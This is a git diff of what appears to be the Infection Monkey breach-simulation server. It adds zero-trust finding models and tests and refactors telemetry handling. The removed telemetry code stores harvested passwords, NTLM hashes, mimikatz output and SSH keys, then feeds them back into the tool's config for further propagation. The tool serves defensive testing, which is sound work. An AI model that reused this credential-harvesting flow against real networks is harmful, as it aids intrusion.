index f1bd12905..c0eeb20b3 100644
--- a/monkey/monkey_island/cc/models/monkey.py
+++ b/monkey/monkey_island/cc/models/monkey.py
@@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
+from monkey_island.cc.models.command_control_channel import CommandControlChannel
class Monkey(Document):
@@ -36,6 +37,9 @@ class Monkey(Document):
pba_results = ListField()
ttl_ref = ReferenceField(MonkeyTtl)
tunnel = ReferenceField("self")
+ command_control_channel = EmbeddedDocumentField(CommandControlChannel)
+ aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
+ # instance. See https://github.com/guardicore/monkey/issues/426.
# LOGIC
@staticmethod
@@ -80,6 +84,17 @@ class Monkey(Document):
os = "windows"
return os
+ def get_network_info(self):
+ """
+ Formats network info from monkey's model
+ :return: dictionary with an array of IP's and a hostname
+ """
+ return {'ips': self.ip_addresses, 'hostname': self.hostname}
+
+ @staticmethod
+ def get_tunneled_monkeys():
+ return Monkey.objects(tunnel__exists=True)
+
def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
self.ttl_ref = create_monkey_ttl_document(duration)
self.save()
diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py
similarity index 65%
rename from monkey/monkey_island/cc/models/test_monkey.py
rename to monkey/monkey_island/cc/models/monkey_test.py
index 37a71cfef..6115386ea 100644
--- a/monkey/monkey_island/cc/models/test_monkey.py
+++ b/monkey/monkey_island/cc/models/monkey_test.py
@@ -1,19 +1,19 @@
import uuid
from time import sleep
-from .monkey import Monkey
+from monkey import Monkey
from monkey_island.cc.models.monkey import MonkeyNotFoundError
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
-from .monkey_ttl import MonkeyTtl
+from monkey_ttl import MonkeyTtl
class TestMonkey(IslandTestCase):
"""
- Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
+ Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
won't work.
Also, the working directory needs to be the working directory from which you usually run the island so the
- server.json file is found and loaded.
+ server_config.json file is found and loaded.
"""
def test_is_dead(self):
@@ -87,6 +87,28 @@ class TestMonkey(IslandTestCase):
windows_monkey.save()
unknown_monkey.save()
- self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
- self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
- self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
+ self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
+ self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
+ self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
+
+ def test_get_tunneled_monkeys(self):
+ self.fail_if_not_testing_env()
+ self.clean_monkey_db()
+
+ linux_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Linux shay-Virtual-Machine")
+ windows_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="Windows bla bla bla",
+ tunnel=linux_monkey)
+ unknown_monkey = Monkey(guid=str(uuid.uuid4()),
+ description="bla bla bla",
+ tunnel=windows_monkey)
+ linux_monkey.save()
+ windows_monkey.save()
+ unknown_monkey.save()
+ tunneled_monkeys = Monkey.get_tunneled_monkeys()
+ test = bool(windows_monkey in tunneled_monkeys
+ and unknown_monkey in tunneled_monkeys
+ and linux_monkey not in tunneled_monkeys
+ and len(tunneled_monkeys) == 2)
+ self.assertTrue(test, "Tunneling test")
diff --git a/monkey/monkey_island/cc/models/zero_trust/__init__.py b/monkey/monkey_island/cc/models/zero_trust/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
new file mode 100644
index 000000000..c3ed52649
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py
@@ -0,0 +1,32 @@
+from common.data.zero_trust_consts import TEST_MALICIOUS_ACTIVITY_TIMELINE, STATUS_VERIFY
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class AggregateFinding(Finding):
+ @staticmethod
+ def create_or_add_to_existing(test, status, events):
+ """
+ Create a new finding or add the events to an existing one if it's the same (same meaning same status and same
+ test).
+
+ :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not
+ when this function should be used.
+ """
+ existing_findings = Finding.objects(test=test, status=status)
+ assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status)
+
+ if len(existing_findings) == 0:
+ Finding.save_finding(test, status, events)
+ else:
+ # Now we know for sure this is the only one
+ orig_finding = existing_findings[0]
+ orig_finding.add_events(events)
+ orig_finding.save()
+
+
+def add_malicious_activity_to_timeline(events):
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_MALICIOUS_ACTIVITY_TIMELINE,
+ status=STATUS_VERIFY,
+ events=events
+ )
diff --git a/monkey/monkey_island/cc/models/zero_trust/event.py b/monkey/monkey_island/cc/models/zero_trust/event.py
new file mode 100644
index 000000000..6ad728d66
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/event.py
@@ -0,0 +1,36 @@
+from datetime import datetime
+
+from mongoengine import EmbeddedDocument, DateTimeField, StringField
+
+from common.data.zero_trust_consts import EVENT_TYPES
+
+
+class Event(EmbeddedDocument):
+ """
+ This model represents a single event within a Finding (it is an EmbeddedDocument within Finding). It is meant to
+ hold a detail of the Finding.
+
+ This class has 2 main section:
+ * The schema section defines the DB fields in the document. This is the data of the object.
+ * The logic section defines complex questions we can ask about a single document which are asked multiple
+ times, or complex action we will perform - somewhat like an API.
+ """
+ # SCHEMA
+ timestamp = DateTimeField(required=True)
+ title = StringField(required=True)
+ message = StringField()
+ event_type = StringField(required=True, choices=EVENT_TYPES)
+
+ # LOGIC
+ @staticmethod
+ def create_event(title, message, event_type, timestamp=datetime.now()):
+ event = Event(
+ timestamp=timestamp,
+ title=title,
+ message=message,
+ event_type=event_type
+ )
+
+ event.validate(clean=True)
+
+ return event
diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py
new file mode 100644
index 000000000..df4eb12f7
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/finding.py
@@ -0,0 +1,60 @@
+# coding=utf-8
+"""
+Define a Document Schema for Zero Trust findings.
+"""
+
+from mongoengine import Document, StringField, EmbeddedDocumentListField
+
+from common.data.zero_trust_consts import ORDERED_TEST_STATUSES, TESTS, TESTS_MAP, TEST_EXPLANATION_KEY, PILLARS_KEY
+# Dummy import for mongoengine.
+# noinspection PyUnresolvedReferences
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+class Finding(Document):
+ """
+ This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a
+ specific principle of zero trust is upheld or broken.
+
+ Findings might have the following statuses:
+ Failed ❌
+ Meaning that we are sure that something is wrong (example: segmentation issue).
+ Verify ⁉
+ Meaning that we need the user to check something himself (example: 2FA logs, AV missing).
+ Passed ✔
+ Meaning that we are sure that something is correct (example: Monkey failed exploiting).
+
+ This class has 2 main section:
+ * The schema section defines the DB fields in the document. This is the data of the object.
+ * The logic section defines complex questions we can ask about a single document which are asked multiple
+ times, or complex action we will perform - somewhat like an API.
+ """
+ # SCHEMA
+ test = StringField(required=True, choices=TESTS)
+ status = StringField(required=True, choices=ORDERED_TEST_STATUSES)
+ events = EmbeddedDocumentListField(document_type=Event)
+ # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance
+ meta = {'allow_inheritance': True}
+
+ # LOGIC
+ def get_test_explanation(self):
+ return TESTS_MAP[self.test][TEST_EXPLANATION_KEY]
+
+ def get_pillars(self):
+ return TESTS_MAP[self.test][PILLARS_KEY]
+
+ # Creation methods
+ @staticmethod
+ def save_finding(test, status, events):
+ finding = Finding(
+ test=test,
+ status=status,
+ events=events)
+
+ finding.save()
+
+ return finding
+
+ def add_events(self, events):
+ # type: (list) -> None
+ self.events.extend(events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py
new file mode 100644
index 000000000..32a450f57
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py
@@ -0,0 +1,50 @@
+from mongoengine import StringField
+
+from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+def need_to_overwrite_status(saved_status, new_status):
+ return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED)
+
+
+class SegmentationFinding(Finding):
+ first_subnet = StringField()
+ second_subnet = StringField()
+
+ @staticmethod
+ def create_or_add_to_existing_finding(subnets, status, segmentation_event):
+ """
+ Creates a segmentation finding. If a segmentation finding with the relevant subnets already exists, adds the
+ event to the existing finding, and the "worst" status is chosen (i.e. if the existing one is "Failed" it will
+ remain so).
+
+ :param subnets: the 2 subnets of this finding.
+ :param status: STATUS_PASSED or STATUS_FAILED
+ :param segmentation_event: The specific event
+ """
+ assert len(subnets) == 2
+
+ # Sort them so A -> B and B -> A segmentation findings will be the same one.
+ subnets.sort()
+
+ existing_findings = SegmentationFinding.objects(first_subnet=subnets[0], second_subnet=subnets[1])
+
+ if len(existing_findings) == 0:
+ # No finding exists - create.
+ new_finding = SegmentationFinding(
+ first_subnet=subnets[0],
+ second_subnet=subnets[1],
+ test=TEST_SEGMENTATION,
+ status=status,
+ events=[segmentation_event]
+ )
+ new_finding.save()
+ else:
+ # A finding exists (should be one). Add the event to it.
+ assert len(existing_findings) == 1
+ existing_finding = existing_findings[0]
+ existing_finding.events.append(segmentation_event)
+ if need_to_overwrite_status(existing_finding.status, status):
+ existing_finding.status = status
+ existing_finding.save()
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
new file mode 100644
index 000000000..c1a94166f
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py
@@ -0,0 +1,53 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestAggregateFinding(IslandTestCase):
+ def test_create_or_add_to_existing(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+ status = STATUS_VERIFY
+ events = [Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)]
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+ AggregateFinding.create_or_add_to_existing(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+ AggregateFinding.create_or_add_to_existing(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+ def test_create_or_add_to_existing_2_tests_already_exist(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ test = TEST_MALICIOUS_ACTIVITY_TIMELINE
+ status = STATUS_VERIFY
+ event = Event.create_event("t", "t", EVENT_TYPE_MONKEY_NETWORK)
+ events = [event]
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 0)
+
+ Finding.save_finding(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1)
+
+ AggregateFinding.create_or_add_to_existing(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 1)
+ self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2)
+
+ Finding.save_finding(test, status, events)
+
+ self.assertEquals(len(Finding.objects(test=test, status=status)), 2)
+
+ with self.assertRaises(AssertionError):
+ AggregateFinding.create_or_add_to_existing(test, status, events)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py
new file mode 100644
index 000000000..c0742407d
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py
@@ -0,0 +1,32 @@
+from mongoengine import ValidationError
+
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestEvent(IslandTestCase):
+ def test_create_event(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ with self.assertRaises(ValidationError):
+ _ = Event.create_event(
+ title=None, # title required
+ message="bla bla",
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
+
+ with self.assertRaises(ValidationError):
+ _ = Event.create_event(
+ title="skjs",
+ message="bla bla",
+ event_type="Unknown" # Unknown event type
+ )
+
+ # Assert that nothing is raised.
+ _ = Event.create_event(
+ title="skjs",
+ message="bla bla",
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
new file mode 100644
index 000000000..88a33d5d3
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py
@@ -0,0 +1,38 @@
+from mongoengine import ValidationError
+
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestFinding(IslandTestCase):
+ """
+ Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
+ won't work.
+
+ Also, the working directory needs to be the working directory from which you usually run the island so the
+ server.json file is found and loaded.
+ """
+ def test_save_finding_validation(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ with self.assertRaises(ValidationError):
+ _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[])
+
+ with self.assertRaises(ValidationError):
+ _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[])
+
+ def test_save_finding_sanity(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+
+ event_example = Event.create_event(
+ title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK)
+ Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example])
+
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1)
+ self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1)
diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
new file mode 100644
index 000000000..80e564a17
--- /dev/null
+++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py
@@ -0,0 +1,52 @@
+from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+
+
+class TestSegmentationFinding(IslandTestCase):
+ def test_create_or_add_to_existing_finding(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ first_segment = "1.1.1.0/24"
+ second_segment = "2.2.2.0-2.2.2.254"
+ third_segment = "3.3.3.3"
+ event = Event.create_event("bla", "bla", EVENT_TYPE_MONKEY_NETWORK)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ subnets=[first_segment, second_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 1)
+ self.assertEquals(len(SegmentationFinding.objects()[0].events), 1)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ # !!! REVERSE ORDER
+ subnets=[second_segment, first_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 1)
+ self.assertEquals(len(SegmentationFinding.objects()[0].events), 2)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ # !!! REVERSE ORDER
+ subnets=[first_segment, third_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 2)
+
+ SegmentationFinding.create_or_add_to_existing_finding(
+ # !!! REVERSE ORDER
+ subnets=[second_segment, third_segment],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+ self.assertEquals(len(SegmentationFinding.objects()), 3)
diff --git a/monkey/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py
deleted file mode 100644
index 62a014fef..000000000
--- a/monkey/monkey_island/cc/resources/report.py
+++ /dev/null
@@ -1,13 +0,0 @@
-import flask_restful
-
-from monkey_island.cc.auth import jwt_required
-from monkey_island.cc.services.report import ReportService
-
-__author__ = "itay.mizeretz"
-
-
-class Report(flask_restful.Resource):
-
- @jwt_required()
- def get(self):
- return ReportService.get_report()
diff --git a/monkey/monkey_island/cc/resources/reporting/__init__.py b/monkey/monkey_island/cc/resources/reporting/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
new file mode 100644
index 000000000..8c5286fee
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -0,0 +1,41 @@
+import httplib
+
+
+import flask_restful
+from flask import jsonify
+
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.services.reporting.report import ReportService
+from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
+
+ZERO_TRUST_REPORT_TYPE = "zero_trust"
+SECURITY_REPORT_TYPE = "security"
+REPORT_TYPES = [SECURITY_REPORT_TYPE, ZERO_TRUST_REPORT_TYPE]
+
+REPORT_DATA_PILLARS = "pillars"
+REPORT_DATA_FINDINGS = "findings"
+REPORT_DATA_PRINCIPLES_STATUS = "principles"
+
+__author__ = ["itay.mizeretz", "shay.nehmad"]
+
+
+class Report(flask_restful.Resource):
+
+ @jwt_required()
+ def get(self, report_type=SECURITY_REPORT_TYPE, report_data=None):
+ if report_type == SECURITY_REPORT_TYPE:
+ return ReportService.get_report()
+ elif report_type == ZERO_TRUST_REPORT_TYPE:
+ if report_data == REPORT_DATA_PILLARS:
+ return jsonify({
+ "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
+ "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
+ "grades": ZeroTrustService.get_pillars_grades()
+ }
+ )
+ elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
+ return jsonify(ZeroTrustService.get_principles_status())
+ elif report_data == REPORT_DATA_FINDINGS:
+ return jsonify(ZeroTrustService.get_all_findings())
+
+ flask_restful.abort(httplib.NOT_FOUND)
diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py
index 2af73a45e..e3b3e9854 100644
--- a/monkey/monkey_island/cc/resources/root.py
+++ b/monkey/monkey_island/cc/resources/root.py
@@ -7,7 +7,7 @@ from flask import request, make_response, jsonify
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.services.report import ReportService
+from monkey_island.cc.services.reporting.report import ReportService
from monkey_island.cc.services.attack.attack_report import AttackReportService
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.database import Database
diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py
index 279547dc1..dc6a7d512 100644
--- a/monkey/monkey_island/cc/resources/telemetry.py
+++ b/monkey/monkey_island/cc/resources/telemetry.py
@@ -1,6 +1,5 @@
import json
import logging
-import copy
from datetime import datetime
import dateutil
@@ -9,12 +8,8 @@ from flask import request
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
-from monkey_island.cc.services import mimikatz_utils
-from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.edge import EdgeService
from monkey_island.cc.services.node import NodeService
-from monkey_island.cc.encryptor import encryptor
-from monkey_island.cc.services.wmi_handler import WMIHandler
+from monkey_island.cc.services.telemetry.processing.processing import process_telemetry
from monkey_island.cc.models.monkey import Monkey
__author__ = 'Barak'
@@ -48,21 +43,15 @@ class Telemetry(flask_restful.Resource):
def post(self):
telemetry_json = json.loads(request.data)
telemetry_json['timestamp'] = datetime.now()
+ telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host}
# Monkey communicated, so it's alive. Update the TTL.
Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl()
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ NodeService.update_monkey_modify_time(monkey["_id"])
- try:
- NodeService.update_monkey_modify_time(monkey["_id"])
- telem_category = telemetry_json.get('telem_category')
- if telem_category in TELEM_PROCESS_DICT:
- TELEM_PROCESS_DICT[telem_category](telemetry_json)
- else:
- logger.info('Got unknown type of telemetry: %s' % telem_category)
- except Exception as ex:
- logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True)
+ process_telemetry(telemetry_json)
telem_id = mongo.db.telemetry.insert(telemetry_json)
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@@ -89,199 +78,3 @@ class Telemetry(flask_restful.Resource):
x['data']['credentials'][new_user] = x['data']['credentials'].pop(user)
return objects
-
- @staticmethod
- def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
- dst_ip = telemetry_json['data']['machine']['ip_addr']
- dst_domain_name = telemetry_json['data']['machine']['domain_name']
- src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
- dst_node = NodeService.get_monkey_by_ip(dst_ip)
- if dst_node is None:
- dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
-
- return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
-
- @staticmethod
- def process_tunnel_telemetry(telemetry_json):
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
- if telemetry_json['data']['proxy'] is not None:
- tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
- NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
- else:
- NodeService.unset_all_monkey_tunnels(monkey_id)
-
- @staticmethod
- def process_state_telemetry(telemetry_json):
- monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
- if telemetry_json['data']['done']:
- NodeService.set_monkey_dead(monkey, True)
- else:
- NodeService.set_monkey_dead(monkey, False)
-
- @staticmethod
- def process_exploit_telemetry(telemetry_json):
- edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
- Telemetry.encrypt_exploit_creds(telemetry_json)
- telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started'])
- telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished'])
-
- new_exploit = copy.deepcopy(telemetry_json['data'])
-
- new_exploit.pop('machine')
- new_exploit['timestamp'] = telemetry_json['timestamp']
-
- mongo.db.edge.update(
- {'_id': edge['_id']},
- {'$push': {'exploits': new_exploit}}
- )
- if new_exploit['result']:
- EdgeService.set_edge_exploited(edge)
-
- for attempt in telemetry_json['data']['attempts']:
- if attempt['result']:
- found_creds = {'user': attempt['user']}
- for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
- if len(attempt[field]) != 0:
- found_creds[field] = attempt[field]
- NodeService.add_credentials_to_node(edge['to'], found_creds)
-
- @staticmethod
- def process_scan_telemetry(telemetry_json):
- edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
- data = copy.deepcopy(telemetry_json['data']['machine'])
- ip_address = data.pop("ip_addr")
- domain_name = data.pop("domain_name")
- new_scan = \
- {
- "timestamp": telemetry_json["timestamp"],
- "data": data
- }
- mongo.db.edge.update(
- {"_id": edge["_id"]},
- {"$push": {"scans": new_scan},
- "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
- )
-
- node = mongo.db.node.find_one({"_id": edge["to"]})
- if node is not None:
- scan_os = new_scan["data"]["os"]
- if "type" in scan_os:
- mongo.db.node.update({"_id": node["_id"]},
- {"$set": {"os.type": scan_os["type"]}},
- upsert=False)
- if "version" in scan_os:
- mongo.db.node.update({"_id": node["_id"]},
- {"$set": {"os.version": scan_os["version"]}},
- upsert=False)
-
- @staticmethod
- def process_system_info_telemetry(telemetry_json):
- users_secrets = {}
- monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
- if 'ssh_info' in telemetry_json['data']:
- ssh_info = telemetry_json['data']['ssh_info']
- Telemetry.encrypt_system_info_ssh_keys(ssh_info)
- if telemetry_json['data']['network_info']['networks']:
- # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
- Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
- Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
- if 'credentials' in telemetry_json['data']:
- creds = telemetry_json['data']['credentials']
- Telemetry.encrypt_system_info_creds(creds)
- Telemetry.add_system_info_creds_to_config(creds)
- Telemetry.replace_user_dot_with_comma(creds)
- if 'mimikatz' in telemetry_json['data']:
- users_secrets = mimikatz_utils.MimikatzSecrets. \
- extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
- if 'wmi' in telemetry_json['data']:
- wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
- wmi_handler.process_and_handle_wmi_info()
- if 'aws' in telemetry_json['data']:
- if 'instance_id' in telemetry_json['data']['aws']:
- mongo.db.monkey.update_one({'_id': monkey_id},
- {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
-
- @staticmethod
- def add_ip_to_ssh_keys(ip, ssh_info):
- for key in ssh_info:
- key['ip'] = ip['addr']
-
- @staticmethod
- def process_trace_telemetry(telemetry_json):
- # Nothing to do
- return
-
- @staticmethod
- def replace_user_dot_with_comma(creds):
- for user in creds:
- if -1 != user.find('.'):
- new_user = user.replace('.', ',')
- creds[new_user] = creds.pop(user)
-
- @staticmethod
- def encrypt_system_info_creds(creds):
- for user in creds:
- for field in ['password', 'lm_hash', 'ntlm_hash']:
- if field in creds[user]:
- # this encoding is because we might run into passwords which are not pure ASCII
- creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
-
- @staticmethod
- def encrypt_system_info_ssh_keys(ssh_info):
- for idx, user in enumerate(ssh_info):
- for field in ['public_key', 'private_key', 'known_hosts']:
- if ssh_info[idx][field]:
- ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
-
- @staticmethod
- def add_system_info_creds_to_config(creds):
- for user in creds:
- ConfigService.creds_add_username(user)
- if 'password' in creds[user]:
- ConfigService.creds_add_password(creds[user]['password'])
- if 'lm_hash' in creds[user]:
- ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
- if 'ntlm_hash' in creds[user]:
- ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
-
- @staticmethod
- def add_system_info_ssh_keys_to_config(ssh_info):
- for user in ssh_info:
- ConfigService.creds_add_username(user['name'])
- # Public key is useless without private key
- if user['public_key'] and user['private_key']:
- ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
- user['name'], user['ip'])
-
- @staticmethod
- def encrypt_exploit_creds(telemetry_json):
- attempts = telemetry_json['data']['attempts']
- for i in range(len(attempts)):
- for field in ['password', 'lm_hash', 'ntlm_hash']:
- credential = attempts[i][field]
- if len(credential) > 0:
- attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
-
- @staticmethod
- def process_post_breach_telemetry(telemetry_json):
- mongo.db.monkey.update(
- {'guid': telemetry_json['monkey_guid']},
- {'$push': {'pba_results': telemetry_json['data']}})
-
- @staticmethod
- def process_attack_telemetry(telemetry_json):
- # No processing required
- pass
-
-
-TELEM_PROCESS_DICT = \
- {
- 'tunnel': Telemetry.process_tunnel_telemetry,
- 'state': Telemetry.process_state_telemetry,
- 'exploit': Telemetry.process_exploit_telemetry,
- 'scan': Telemetry.process_scan_telemetry,
- 'system_info': Telemetry.process_system_info_telemetry,
- 'trace': Telemetry.process_trace_telemetry,
- 'post_breach': Telemetry.process_post_breach_telemetry,
- 'attack': Telemetry.process_attack_telemetry
- }
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 89a384e9d..92184c1c5 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -1,7 +1,9 @@
import logging
+
from monkey_island.cc.models import Monkey
-from monkey_island.cc.services.attack.technique_reports \
- import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082, T1145, T1065
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
+from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
